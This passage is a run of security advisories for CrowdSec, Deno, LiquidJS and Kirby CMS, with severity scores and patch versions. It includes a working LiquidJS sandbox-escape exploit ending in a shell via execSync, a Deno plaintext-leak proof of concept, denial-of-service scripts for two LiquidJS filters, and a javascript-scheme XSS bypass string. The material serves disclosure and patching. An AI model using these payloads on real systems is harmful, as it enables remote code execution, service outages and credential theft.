CrowdSec AppSec silently drops request body for chunked / HTTP-2 requests

## Summary The CrowdSec AppSec component fails to read the HTTP request body for any request whose `Content-Length` is not positive — most notably HTTP/1.1 requests using `Transfer-Encoding: chunked` and HTTP/2 requests sent without a `content-length` header. Coraza is then evaluated against an empty body, so every WAF rule targeting `REQUEST_BODY`, `BODY_ARGS`, `ARGS_POST`, `JSON`, or `XML` silently fails to match. An unauthenticated remote attacker can bypass the entire AppSec body-inspection pipeline by changing a single framing header on an otherwise-malicious request. The bypassed request is forwarded as `allow` and produces no WAF log entry. ## Affected versions - `github.com/crowdsecurity/crowdsec` — all releases up to and including **v1.7.7**. ## Affected component `pkg/appsec/request.go`, function `NewParsedRequestFromRequest`. ## Root cause ```go func NewParsedRequestFromRequest(r *http.Request, logger *log.Entry) (ParsedRequest, error) { var err error contentLength := max(r.ContentLength, 0) body := make([]byte, contentLength) if r.Body != nil { _, err = io.ReadFull(r.Body, body) if err != nil { return ParsedRequest{}, fmt.Errorf("unable to read body: %s", err) } r.Body = io.NopCloser(bytes.NewBuffer(body)) } ... } ``` Go's `net/http` server sets `r.ContentLength = -1` when the request uses `Transfer-Encoding: chunked` with no `Content-Length` header, or when an HTTP/2 request omits the `content-length` pseudo-header (DATA-frame-only body). With `ContentLength == -1`: 1. `max(-1, 0)` evaluates to `0`. 2. `make([]byte, 0)` allocates a zero-length slice. 3. `io.ReadFull` on a zero-length buffer needs zero bytes and returns immediately without touching `r.Body`. 4. The empty buffer is written back onto the request and onto the cloned request constructed later in the same function. Every downstream consumer then sees an empty body. In the AppSec runner, `WriteRequestBody` is skipped because the parsed body has zero length, and `ProcessRequestBody` runs against nothing. ## Impact Every body-scanning rule is bypassed for any request whose framing makes `Content-Length` non-positive. In default CrowdSec deployments using the standard AppSec collections, the bypass affects any rule with `zones` containing `BODY_ARGS`, `JSON`, `XML`, `REQUEST_BODY`, or `ARGS_POST`. No configuration option mitigates the issue — the defect is in the request parser, not in any ruleset. Bypassed requests do not produce a WAF log entry, so operators have no signal that rules are being skipped. Header-only and URI-only rules are unaffected. ## Workarounds No complete workaround is available.

high

2026-05-27 22:58:15+03:00

2026-05-27 22:58:16+03:00

['https://github.com/crowdsecurity/crowdsec/security/advisories/GHSA-rw47-hm26-6wr7', 'https://github.com/advisories/GHSA-rw47-hm26-6wr7']

[{'package': {'name': 'github.com/crowdsecurity/crowdsec', 'ecosystem': 'go'}, 'vulnerable_functions': [], 'first_patched_version': '1.7.8', 'vulnerable_version_range': '>= 1.5.0, <= 1.7.7'}]

{'score': 7.2, 'vector_string': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N'}

[{'name': 'Protection Mechanism Failure', 'cwe_id': 'CWE-693'}]

5bc73a148e3da602865e952e4e51a9d4a4d0e8fc5be0561c59317cd1f8335fc9

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-chqv-56wv-7564

CVE-2026-44726

Deno's TLS retry copies stale upgrade hook, risking plaintext traffic

## Summary A flaw in Deno's Node.js tls compatibility layer could cause a TLS client to transmit application data in plaintext after a connection retry. When `autoSelectFamily was enabled and the first address-family attempt failed, the socket reinitialization path reused a stale TLS upgrade hook that was bound to the original, failed handle. As a result, the replacement TCP connection was never upgraded to TLS, and any data the application wrote before the `secureConnect` event travelled over the network unencrypted. A network attacker positioned to cause the initial connection attempt to fail (for example, by dropping IPv6 traffic on a dual-stack host) could deterministically trigger the fallback path and observe or tamper with traffic that the application believed was TLS-protected. **Affected APIs**: Applications using Deno's `node:tls` or `node:https` surface with `autoSelectFamily` enabled (the default) that wrote to the socket before the `secureConnect` event. ## Proof of concept `attacker.mjs` (captures whatever the client sends) ```ts import net from "node:net"; const server = net.createServer((socket) => { console.log("[attacker] client connected from", socket.remoteAddress); socket.on("data", (chunk) => { // If TLS were working, this would be an opaque ClientHello. // If the bug fires, we see the application payload in cleartext. console.log("[attacker] received", chunk.length, "bytes:"); console.log(chunk.toString("utf8")); }); }); server.listen(4444, "127.0.0.1", () => { console.log("[attacker] listening on 127.0.0.1:4444"); }); ``` `victim.mjs` (a normal-looking TLS client) ```ts import tls from "node:tls"; const socket = tls.connect({ host: "api.example.invalid", port: 4444, autoSelectFamily: true, // Node-compat default // First address is a black hole (nothing on [::1]:4444), // so autoSelectFamily falls back to the second address. // In a real attack, the on-path attacker arranges this via // routing, DNS, or by dropping the first SYN. lookup: (_host, _opts, cb) => { cb(null, [ { address: "::1", family: 6 }, // fails -> retry { address: "127.0.0.1", family: 4 }, // attacker ]); }, rejectUnauthorized: false, }); // Application writes BEFORE secureConnect — common pattern in // Node clients that pipe a request body or send a greeting. socket.write("POST /v1/charge HTTP/1.1\r\n"); socket.write("Authorization: Bearer sk_live_SECRET_TOKEN\r\n"); socket.write("Content-Type: application/json\r\n\r\n"); socket.write(JSON.stringify({ amount: 100, card: "4242424242424242" })); socket.on("secureConnect", () => console.log("[victim] secureConnect")); socket.on("error", (e) => console.log("[victim] error:", e.message)); ``` In terminal 1 `deno run --allow-net attacker.mjs` In terminal 2 `deno run --allow-net victim.mjs` ### Expected vs. observed On a patched Deno (≥ 2.7.8), the attacker terminal sees an opaque TLS ClientHello (a binary blob starting with `0x16 0x03 0x01 …`), and the victim eventually errors out because the attacker isn't speaking TLS. On a vulnerable Deno (≥ 2.0.0, < 2.7.8), the attacker terminal prints: ``` [attacker] received 41 bytes: POST /v1/charge HTTP/1.1 Authorization: Bearer sk_live_SECRET_TOKEN ... ``` The bearer token, the request body, and the card number all appear in plaintext, even though the application used `tls.connect`.

high

2026-05-27 22:51:46+03:00

2026-05-27 22:51:46+03:00

['https://github.com/denoland/deno/security/advisories/GHSA-chqv-56wv-7564', 'https://github.com/advisories/GHSA-chqv-56wv-7564']

[{'package': {'name': 'deno', 'ecosystem': 'rust'}, 'vulnerable_functions': [], 'first_patched_version': '2.7.8', 'vulnerable_version_range': '>= 2.0.0, < 2.7.8'}]

{'score': 7.4, 'vector_string': 'CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N'}

[{'name': 'Cleartext Transmission of Sensitive Information', 'cwe_id': 'CWE-319'}]

066e156feb2dc4f5a63ee9b3a38fc06322d836da5b9b79ec074315bb0494f130

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-gf2q-c269-pqgc

CVE-2026-45618

LiquidJS is Vulnerable to Remote Code Execution

### Summary It is possible to execute arbitrary code with crafted templates ### Details <details> <summary> `1|valueOf` -> `this` when evaluating the filter </summary> ```liquid {%assign r=1|valueOf%} {{r|inspect}} ``` ```json {"context":{"scopes":[{"r":"[Circular]"}],"registers":{},"breakCalled":false,"continueCalled":false,"sync":false,"opts":{"root":["."],"layouts":["."],"partials":["."],"relativeReference":true,"jekyllInclude":false,"keyValueSeparator":":","extname":"","fs":{"sep":"/"},"dynamicPartials":true,"jsTruthy":false,"dateFormat":"%A, %B %-e, %Y at %-l:%M %P %z","locale":"en-US","trimTagRight":false,"trimTagLeft":false,"trimOutputRight":false,"trimOutputLeft":false,"greedy":true,"tagDelimiterLeft":"{%","tagDelimiterRight":"%}","outputDelimiterLeft":"{{","outputDelimiterRight":"}}","preserveTimezones":false,"strictFilters":false,"strictVariables":false,"ownPropertyOnly":true,"lenientIf":false,"globals":{},"keepOutputType":false,"operators":{},"memoryLimit":null,"parseLimit":null,"renderLimit":null},"globals":{},"environments":{},"strictVariables":false,"ownPropertyOnly":true,"memoryLimit":{"base":0,"message":"memory alloc limit exceeded","limit":null},"renderLimit":{"base":0,"message":"template render limit exceeded","limit":null}},"token":{"kind":32,"input":"{%assign r=1|valueOf%}\n{{r|inspect}}","begin":13,"end":20,"name":"valueOf","args":[]},"liquid":{"renderer":{},"filters":{"raw":{"raw":true}},"tags":{},"options":{"root":["."],"layouts":["."],"partials":["."],"relativeReference":true,"jekyllInclude":false,"keyValueSeparator":":","extname":"","fs":{"sep":"/"},"dynamicPartials":true,"jsTruthy":false,"dateFormat":"%A, %B %-e, %Y at %-l:%M %P %z","locale":"en-US","trimTagRight":false,"trimTagLeft":false,"trimOutputRight":false,"trimOutputLeft":false,"greedy":true,"tagDelimiterLeft":"{%","tagDelimiterRight":"%}","outputDelimiterLeft":"{{","outputDelimiterRight":"}}","preserveTimezones":false,"strictFilters":false,"strictVariables":false,"ownPropertyOnly":true,"lenientIf":false,"globals":{},"keepOutputType":false,"operators":{},"memoryLimit":null,"parseLimit":null,"renderLimit":null},"parser":{"liquid":"[Circular]","fs":{"sep":"/"},"loader":{"options":{"root":["."],"layouts":["."],"partials":["."],"relativeReference":true,"jekyllInclude":false,"keyValueSeparator":":","extname":"","fs":{"sep":"/"},"dynamicPartials":true,"jsTruthy":false,"dateFormat":"%A, %B %-e, %Y at %-l:%M %P %z","locale":"en-US","trimTagRight":false,"trimTagLeft":false,"trimOutputRight":false,"trimOutputLeft":false,"greedy":true,"tagDelimiterLeft":"{%","tagDelimiterRight":"%}","outputDelimiterLeft":"{{","outputDelimiterRight":"}}","preserveTimezones":false,"strictFilters":false,"strictVariables":false,"ownPropertyOnly":true,"lenientIf":false,"globals":{},"keepOutputType":false,"operators":{},"memoryLimit":null,"parseLimit":null,"renderLimit":null}},"parseLimit":{"base":0,"message":"parse length limit exceeded","limit":null}}}} ``` </details> <details> <summary> function calls with a controlled first argument via comprable </summary> ```js import { Liquid } from "liquidjs"; const engine = new Liquid(); const storeFn = (dst, src) => { const parts = src.split("."); const path = parts.slice(0, -1).join("."); const prop = parts.at(-1); return ` {% assign _g = ${path}|group_by:"0"%} {% assign _gs = _g | where:n,"${prop}"|first%} {% assign ${dst} = _gs.items | first | last %}`; }; const tpl = ` {% liquid assign r = 1|valueOf assign m = r.context.scopes|first assign fs = r.liquid.options.fs assign n = "name"%} ${storeFn("equals", "fs.readFileSync")} ${storeFn("gt", "fs.readFileSync")} ${storeFn("geq", "fs.readFileSync")} ${storeFn("lt", "fs.readFileSync")} ${storeFn("leq", "fs.readFileSync")} {{m == "/etc/passwd"}} `; const v = await engine.parseAndRender(tpl, {}); console.log(v.trim()); ``` <img width="1426" height="717" alt="image" src="https://github.com/user-attachments/assets/0618eb81-fb0d-4100-a6a0-556982decf8a" /> </details> <details><summary>changing the prototype of things</summary> ```js import { Liquid } from "liquidjs"; const engine = new Liquid(); engine.registerFilter("log", (val) => console.dir(val, { depth: 1 })); const tpl = ` {% liquid assign r = 1|valueOf assign m = r.context.scopes|first %} {{m|log}} {% assign __proto__ = r.liquid.parser %} {{m|log}} `; const v = await engine.parseAndRender(tpl, {}); console.log(v.trim()); ``` <img width="723" height="211" alt="image" src="https://github.com/user-attachments/assets/c05f4c4a-4151-4765-b569-3300ad837668" /> </details> When calling functions via the comparable gadget, `this` will be the scope. By overwriting `this.loader.lookup` and `this.readFile`, to fully control what goes into `this.parse`, and while controlling `this`, a reference to the `Function` constructor can be obtained, which then allows executing arbitrary code. ```ts private * _parseFile (file: string, sync?: boolean, type: LookupType = LookupType.Root, currentFile?: string): Generator<unknown, Template[], string> { const filepath = yield this.loader.lookup(file, type, sync, currentFile) return this.parse(yield this.readFile(!!sync, filepath), filepath) } ``` ### PoC _Complete instructions, including specific configuration details, to reproduce the vulnerability._ ```js import { Liquid } from "liquidjs"; const engine = new Liquid(); const storeFn = (dst, src) => { const parts = src.split("."); const path = parts.slice(0, -1).join("."); const prop = parts.at(-1); return ` {% assign _g = ${path}|group_by:"0"%} {% assign _gs = _g | where:n,"${prop}"|first%} {% assign ${dst} = _gs.items | first | last %}`; }; const tpl = ` {% liquid assign r = 1|valueOf assign m = r.context.scopes|first assign l = r.liquid assign p = l.parser assign f = l.filters assign n = "name"%} ${storeFn("equals", "p.parseFile")} ${storeFn("gt", "p.parseFile")} ${storeFn("geq", "p.parseFile")} ${storeFn("lt", "p.parseFile")} ${storeFn("leq", "p.parseFile")} ${storeFn("readFile", "f.default")} ${storeFn("lookup", "f.raw.handler")} {% assign loader = m %} {% assign context = m %} {% assign opts = m %} {% assign liquid = m %} {% assign options = m %} {% assign __proto__ = p %} {% assign tagDelimiterLeft = n %} {% assign tagDelimiterRight = n %} {% assign outputDelimiterLeft = '[' %} {% assign outputDelimiterRight = ']'%} {# set to some some function, so that filters['constructor'] -> Function #} ${storeFn("filters", "f.raw.handler")} {# store Function #} {% assign output = m == "[0|constructor]" | first %} {% assign val = output.value.filters|first %} {# set scope.equals to Function #} ${storeFn("equals", "val.handler")} {% assign RCE = m == "return process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})" %} {{RCE}} `; const v = await engine.parseAndRender(tpl, {}); console.log(v.trim()); ``` ### Impact _What kind of vulnerability is it? Who is impacted?_ Remote Code Execution.

critical

2026-05-27 21:24:14+03:00

2026-05-27 21:24:15+03:00

['https://github.com/harttle/liquidjs/security/advisories/GHSA-gf2q-c269-pqgc', 'https://github.com/harttle/liquidjs/releases/tag/v10.26.0', 'https://github.com/advisories/GHSA-gf2q-c269-pqgc']

[{'package': {'name': 'liquidjs', 'ecosystem': 'npm'}, 'vulnerable_functions': [], 'first_patched_version': '10.26.0', 'vulnerable_version_range': '< 10.26.0'}]

{'score': 10.0, 'vector_string': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H'}

[{'name': "Improper Control of Generation of Code ('Code Injection')", 'cwe_id': 'CWE-94'}]

ef14e1f00e1c53331e4ea42116252bc0d64f666668aed14ba379f5f592e1770d

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-r7g9-xpmj-5fcq

CVE-2026-45617

LiquidJS Vulnerable to ReDoS via Quadratic Backtracking in `strip_html` Filter Regex

## Summary The built-in `strip_html` filter in liquidjs uses a regex containing four lazy-quantified alternatives. When the input contains many `<script`, `<style`, or `<!--` opener tokens without matching closers, the V8 regex engine performs O(N²) backtracking, blocking the Node.js event loop. A single ~350 KB request (`'<script'.repeat(50000)`) stalls the process for ~10 seconds; cost grows quadratically with input size. The default `memoryLimit: Infinity` does not bound regex CPU, and even when configured `strip_html` only charges `str.length` to the limit — the regex itself runs unbounded. ## Details The vulnerable filter is at `src/filters/html.ts:45-49`: ```ts export function strip_html (this: FilterImpl, v: string) { const str = stringify(v) this.context.memoryLimit.use(str.length) return str.replace(/<script[\s\S]*?<\/script>|<style[\s\S]*?<\/style>|<.*?>|<!--[\s\S]*?-->/g, '') } ``` The regex contains four lazy patterns: 1. `<script[\s\S]*?<\/script>` 2. `<style[\s\S]*?<\/style>` 3. `<.*?>` 4. `<!--[\s\S]*?-->` For an input like `'<script'.repeat(N)`, the engine encounters N starting `<` positions. At each one it must lazily expand `[\s\S]*?` (and `.*?`) all the way to end-of-input searching for a closer that never appears, then fail and backtrack. Because each of the O(N) starts performs O(N) lazy-expansion work, total work is O(N²). Reachability: 1. `strip_html` is a default-registered filter (exported from `src/filters/html.ts`, wired up via `src/filters/index.ts`), invocable from any template via `{{ x | strip_html }}`. 2. The filter calls `String.prototype.replace` with the vulnerable regex directly on the caller-supplied string, with no length cap and no timeout. 3. The default `memoryLimit` is `Infinity` (`src/liquid-options.ts:198`); the filter only charges `str.length` against memory (line 47), which does not bound CPU work for regex backtracking. This is distinct from `GHSA-45rm-2893-5f49` (prototype property leak, CWE-200) and from any prior `replace`/`strip_html` issues — the mechanism here is regex backtracking CPU consumption on a different filter. ## PoC Empirical scaling confirmed against a freshly built `liquidjs@10.25.7` bundle on Node 22 / Linux: ```bash node -e " const { Liquid } = require('liquidjs'); const e = new Liquid(); (async () => { for (const n of [1000, 2000, 4000, 8000, 16000]) { const payload = '<script'.repeat(n); const t0 = Date.now(); await e.parseAndRender('{{ x | strip_html }}', { x: payload }); console.log('n=' + n + ' inputLen=' + payload.length + ' ms=' + (Date.now() - t0)); } })(); " ``` Verified output: ``` n=1000 inputLen=7000 ms=5 n=2000 inputLen=14000 ms=12 (2.4x for 2x size) n=4000 inputLen=28000 ms=46 (3.8x for 2x size) n=8000 inputLen=56000 ms=187 (4.0x for 2x size) n=16000 inputLen=112000 ms=737 (3.9x for 2x size) ``` A larger payload extrapolates straightforwardly: ```bash node -e " const { Liquid } = require('liquidjs'); const e = new Liquid(); (async () => { const payload = '<script'.repeat(50000); // 350 KB const t0 = Date.now(); await e.parseAndRender('{{ x | strip_html }}', { x: payload }); console.log('elapsed ms:', Date.now() - t0); })(); " # elapsed ms: ~10000+ (Node single-threaded event loop fully blocked) ``` The same pathology applies to `<style` and `<!--` openers. ## Impact - **Single-request DoS:** A 350 KB request body stalls the Node.js event loop for ~10 seconds; 700 KB takes ~40 s; 1.4 MB takes ~160 s. All other requests on the process queue behind the regex. - **Trivial amplification:** Quadratic scaling means small attacker bandwidth produces large server CPU consumption. A handful of concurrent requests fully saturates the worker. - **No authentication required:** The typical use case for `strip_html` is sanitizing untrusted input (comments, posts, profile bios, product descriptions). Any endpoint that renders user content through `strip_html` is exposed. - **memoryLimit doesn't help:** Even applications that opt into `memoryLimit` are not protected, because (a) the regex CPU runs to completion before any output is produced, and (b) only `str.length` is charged, not the cost of the regex traversal. ## Recommended Fix Replace the backtracking regex with an atomic / non-overlapping pattern, and/or perform a single linear pass. Option 1 — anchor each alternative so lazy expansion fails fast on chunked content (no `[\s\S]*?` over the full tail): ```ts return str.replace( /<script\b[^<]*(?:<(?!\/script>)[^<]*)*<\/script>|<style\b[^<]*(?:<(?!\/style>)[^<]*)*<\/style>|<!--[^-]*(?:-(?!->)[^-]*)*-->|<[^>]*>/g, '' ) ``` This unrolls each lazy quantifier so each `<` is visited at most a constant number of times overall — linear total work. Option 2 — single-pass tokenizer in plain code; iterate over the string once, tracking whether you are inside `<script>`, `<style>`, comment, or generic tag, and emit nothing for those ranges. Either fix should be combined with charging the regex output cost honestly to `memoryLimit` and (defensively) capping input length up front: ```ts export function strip_html (this: FilterImpl, v: string) { const str = stringify(v) this.context.memoryLimit.use(str.length) // ... linear-time strip implementation here } ```

high

2026-05-27 21:08:19+03:00

2026-05-27 21:08:19+03:00

['https://github.com/harttle/liquidjs/security/advisories/GHSA-r7g9-xpmj-5fcq', 'https://github.com/harttle/liquidjs/releases/tag/v10.26.0', 'https://github.com/advisories/GHSA-r7g9-xpmj-5fcq']

[{'package': {'name': 'liquidjs', 'ecosystem': 'npm'}, 'vulnerable_functions': [], 'first_patched_version': '10.26.0', 'vulnerable_version_range': '< 10.26.0'}]

{'score': 7.5, 'vector_string': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H'}

[{'name': 'Inefficient Regular Expression Complexity', 'cwe_id': 'CWE-1333'}]

3dbc2324afe361dafbd993ccd3c4ce80e7b44439f68db0262c6f812a90c98869

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-qvjf-922g-pj44

CVE-2026-45368

Kirby CMS vulnerable to cross-site scripting (XSS) from links in KirbyTags and image blocks in the site frontend

### TL;DR This vulnerability affects all Kirby sites that allow the use of the `(link: …)` KirbyTag, the `link:` parameter of the `(image: …)` KirbyTag, the built-in `image` block with a link or the HTML importer for blocks, when content is authored by users who may not be fully trusted. The attack requires an authenticated Panel user with update permission to any `textarea` or `blocks` field, or write access to content files through another vector (e.g. a frontend form or content sync pipeline). Another attack vector is the use of `Html::a()` or `Html::link()` with untrusted user input. **This vulnerability is of high severity for affected sites.** Kirby sites are *not* affected if none of the mentioned KirbyTags or block types are used, or if every user who can edit content is fully trusted. The attack only surfaces in the site frontend (i.e. in its templates). The Panel itself is unaffected and will not execute JavaScript that was injected into the `textarea` or `blocks` field content. --- ### Introduction Cross-site scripting (XSS) is a type of vulnerability that allows to execute any kind of JavaScript code inside the site frontend or Panel session of the same or other users. In the Panel, a harmful script can for example trigger requests to Kirby's API with the permissions of the victim. In a *stored* XSS attack, the malicious payload is saved into the content data and has the potential to affect other users or site visitors. Such vulnerabilities are critical if a consuming application might have potential attackers in its group of authenticated Panel users. They can escalate their privileges if they get access to the Panel session of an admin user. Depending on the site, other JavaScript-powered attacks are possible. A specific class of stored XSS exploits the `javascript:` URI scheme in HTML `<a href>` attributes. When a browser processes a click action on a link with `href="javascript:…"`, it executes the value as JavaScript in the origin of the current page. Because the site usually runs on the same origin as the Panel API, a successful exploit in the site frontend can give the attacker full control of the victim's Panel session. ### Affected components Kirby provides four first-party renderers that produce `<a href="…">` output from editor-supplied field values: 1. The `(link: …)` KirbyTag 2. The `link:` parameter of the `(image: …)` KirbyTag, when the parameter does not resolve to a known file or `'self'` 3. The link field of the built-in `image` block 4. The HTML importer for the blocks field (which accepted the same malicious input as the `image` block link field) ### Impact In affected releases, the underlying URL methods for these components did not filter out malicious URL values that resolve to script execution. While simple `javascript:` URLs were already deactivated by treating them as a relative path and prepending a single slash to the URL, the use of URLs of the format `javascript://x%0A…` bypasses this protection. The `vbscript:`, `data:`, `livescript:`, `mocha:` and `jar:` schemes are affected by the same underlying gap. The vulnerability allows attackers to inject malicious links into content. The malicious links would then be rendered on the site frontend. If a site visitor or logged in user browsing the site would click such a link, the malicious script code would then be executed in the browser. ### Patches The problem has been patched in [Kirby 4.9.1](https://github.com/getkirby/kirby/releases/tag/4.9.1) and [Kirby 5.4.1](https://github.com/getkirby/kirby/releases/tag/5.4.1). Please update to one of these or a [later version](https://github.com/getkirby/kirby/releases) to fix the vulnerability. In all of the mentioned releases, a new `Url::hasDangerousScheme()` method detects URI schemes that must never appear in a rendered `href` or `src` attribute (`javascript:`, `vbscript:`, `livescript:`, `mocha:`, `jar:`, `data:`). `Url::isAbsolute()` now returns `false` for any URL that `hasDangerousScheme()` identifies as dangerous, so the URL component no longer passes these values through `makeAbsolute()` unchanged. `Html::link()` now replaces the `href` with an empty string when a dangerous scheme is detected, so the rendered `<a>` tag links back to the current page rather than executing the injected script. The HTML importer for blocks strips link targets with a dangerous scheme. Due to the hardening in these underlying URL methods, the affected KirbyTags and block no longer allow dangerous schemes in link targets. ### Credits Kirby thanks @offset for responsibly reporting the identified issue.

high

2026-05-27 20:42:03+03:00

2026-05-27 20:42:04+03:00

['https://github.com/getkirby/kirby/security/advisories/GHSA-qvjf-922g-pj44', 'https://github.com/getkirby/kirby/releases/tag/4.9.1', 'https://github.com/getkirby/kirby/releases/tag/5.4.1', 'https://github.com/advisories/GHSA-qvjf-922g-pj44']

[{'package': {'name': 'getkirby/cms', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '4.9.1', 'vulnerable_version_range': '<= 4.9.0'}, {'package': {'name': 'getkirby/cms', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '5.4.1', 'vulnerable_version_range': '>= 5.0.0, <= 5.4.0'}]

{'score': None, 'vector_string': None}

[{'name': "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')", 'cwe_id': 'CWE-79'}]

91106c507b7fd7752e4457d445d68c3552ad72e0962f161634bcaaf6b99834d7

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-hh27-hf48-9f5q

CVE-2026-45357

LiquidJS has a memory and render limit bypass via unbounded width padding in `date` filter (strftime)

## Summary The `date` filter's strftime implementation parses width specifiers like `%9999999d` and forwards the captured width unchecked into `pad()`/`padStart()` in `src/util/underscore.ts`. The pad loop performs unbounded string concatenation without consulting the Context's `memoryLimit` or `renderLimit`, so a single small template (`{{ x | date: '%5000000d' }}`) produces megabytes of output and unbounded CPU. The `memoryLimit` and `renderLimit` options the docs (`src/liquid-options.ts:87-92`) advertise as DoS controls — and which the docstring explicitly mentions for `strftime` — are entirely bypassed. ## Details `date.ts:5-13` only charges `memoryLimit` for the lengths of the input value, format string, and timezone: ```ts export function date (this: FilterImpl, v: string | Date, format?: string, timezoneOffset?: number | string) { const size = ((v as string)?.length ?? 0) + (format?.length ?? 0) + ((timezoneOffset as string)?.length ?? 0) this.context.memoryLimit.use(size) ... return strftime(date, format) } ``` `strftime` (`src/util/strftime.ts:121`) then walks the format with `rFormat = /%([-_0^#:]+)?(\d+)?([EO])?(.)/`. The captured `width` group is passed directly to `padStart`: ```ts function format (d, match) { const [input, flagStr = '', width, modifier, conversion] = match ... let padWidth = width || padWidths[conversion] || 0 ... return padStart(ret, padWidth, padChar) // strftime.ts:147 } ``` `padStart` calls `pad()` in `src/util/underscore.ts:153`: ```ts export function pad (str, length, ch, add) { str = String(str) let n = length - str.length while (n-- > 0) str = add(str, ch) // unbounded loop return str } ``` The loop has no upper bound and never consults `this.context.memoryLimit` or `renderLimit`. The pad is also implemented as repeated `ch + str` string concatenation, which makes the per-byte cost grow with output length and amplifies CPU consumption. Filter arguments accept context-evaluated values (`src/template/filter.ts:30-31`, `evalToken(arg, context)`), so any deployment that passes a context value as the date format — a documented and tested usage pattern — exposes the sink to attacker-controlled input. This is a separate sink from the previously-reported quadratic `replace` finding: a different filter (`date`), a different parser (the strftime width regex), and a different concatenation site (`pad()` in `underscore.ts`). ## PoC Setup: `npm install liquidjs@10.25.7`. Step 1 — bypass `memoryLimit` and `renderLimit` (5 MB output, ~200 ms, both limits set to 50): ```bash node -e " const { Liquid } = require('liquidjs'); const liquid = new Liquid({ memoryLimit: 50, renderLimit: 50 }); const t0 = Date.now(); const out = liquid.parseAndRenderSync('{{ d | date: f }}', { d: 'now', f: '%5000000d' }); console.log('len=', out.length, 'ms=', Date.now()-t0); " ``` Verified output: `len= 5000000 ms= 198`. The `memoryLimit:50` (50-byte budget) and `renderLimit:50` (50 ms budget) are both ignored. Step 2 — OOM-kill the Node process under a 200 MB heap cap: ```bash node --max-old-space-size=200 -e " const { Liquid } = require('liquidjs'); const liquid = new Liquid({ memoryLimit: 50, renderLimit: 50 }); liquid.parseAndRenderSync('{{ d | date: f }}', { d: 'now', f: '%99999999d' }); " ``` Verified output: `FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory`. Process is killed. The realistic attack template is `{{ post.created_at | date: user_supplied_format }}`, where `user_supplied_format` is any context value an attacker can influence (profile field, query param mapped into template context, etc.). ## Impact - DoS against any LiquidJS-rendered surface where a context value reaches the `date` filter's format argument: a single render call can be turned into multi-MB allocations and seconds of CPU per request, or into an OOM that crashes the host process. - Bypass of the engine's two documented DoS controls — `memoryLimit` and `renderLimit` — meaning that operators who explicitly opted into DoS protection still have no defense for this code path. - All `date_to_xmlschema`, `date_to_rfc822`, `date_to_string`, `date_to_long_string` paths share the same sink via `strftime`, but with hard-coded formats they're not directly attacker-controllable; the user-facing risk is on `date`. ## Recommended Fix Two complementary fixes: 1. Have `pad()` in `src/util/underscore.ts` charge the Context's memory limit and use `String.prototype.repeat` instead of an O(n) concatenation loop. Since `pad()` is generic, the simplest version takes the memory limit as a parameter: ```ts export function pad (str: any, length: number, ch: string, add: (str: string, ch: string) => string) { str = String(str) const n = length - str.length if (n <= 0) return str return add === ((s, c) => c + s) ? ch.repeat(n) + str : str + ch.repeat(n) } ``` 2. Cap `padWidth` in `src/util/strftime.ts:141` and account for it via `memoryLimit`. The `date` filter (`src/filters/date.ts`) should also charge `this.context.memoryLimit.use(parsedMaxWidth)` before invoking `strftime`, e.g. by scanning the format for `%(\d+)` widths and summing them. A conservative cap (e.g. `Math.min(width, 1024)` for non-`N` conversions) is also reasonable — strftime widths beyond a few dozen characters have no legitimate use. Both fixes are needed: the cap stops the OOM crash, the memory accounting restores the documented DoS guarantee.

high

2026-05-27 20:33:52+03:00

2026-05-27 20:33:53+03:00

['https://github.com/harttle/liquidjs/security/advisories/GHSA-hh27-hf48-9f5q', 'https://github.com/advisories/GHSA-hh27-hf48-9f5q']

[{'package': {'name': 'liquidjs', 'ecosystem': 'npm'}, 'vulnerable_functions': [], 'first_patched_version': None, 'vulnerable_version_range': '<= 10.25.7'}]

{'score': 7.5, 'vector_string': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H'}

[{'name': 'Uncontrolled Resource Consumption', 'cwe_id': 'CWE-400'}]

90956299e51b4b9c73c6f8848191164838ea243865f5bd5e29c2596c5a6ecc47

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-39vq-49qm-r2mc

CVE-2026-45334

Kirby CMS's content locks disclose IDs and emails of inaccessible users from `users.access/list` permissions

### TL;DR This vulnerability affects all Kirby sites that restrict the visibility of users for certain roles via the `users.access` or `users.list` permissions. A site is affected if users of a particular role are not allowed to see other users in the Panel, for example because the role's blueprint sets `users.access: false` or `users.list: false` as permission for the authenticated user role and/or as option for the target user role. A Kirby site is *not* affected if all authenticated Panel users are permitted to access and list other users. The vulnerability can only be exploited by authenticated users. --- ### Introduction Missing authorization allows authenticated users to gain access to information they are not intended to see. The effects of missing authorization can include unauthorized access to sensitive information as well as unauthorized changes to content or system information. ### Affected components Kirby's user permissions control which user role is allowed to perform specific actions or access specific information in the CMS. These permissions are defined for each role in the user blueprint (`site/blueprints/users/...`). The `users.access` and `users.list` permissions control whether users of a given role are allowed to access and list other users in the Panel. It is also possible to customize the permissions for each target role using the `options` feature. The permissions and options together control the authorization of user actions. Kirby's Panel includes a content-locking feature that records which user currently has a model open for editing. This lock prevents conflicting edits by multiple users and displays the locking user's identity in the Panel UI so other users know who to contact. Internally, the locking user's email address and identifier are included in every Panel view payload and in error responses returned when a user attempts to edit a model that is currently locked by another user. ### Impact In affected releases, this lock information was returned without checking whether the requesting user had permission to access or list the locking user. This allowed a low-privilege authenticated Panel user, whose role was configured with `users.access: false` or `users.list: false`, to learn the email address and identifier of any user who currently had a model open for editing in the Panel, including administrators and other higher-privilege users. Content locks are active for a configurable window (10 minutes by default). The email address can allow to enumerate admin accounts, target phishing, and feed credential-stuffing attacks against the Kirby installation or other sites. The internal user ID can be 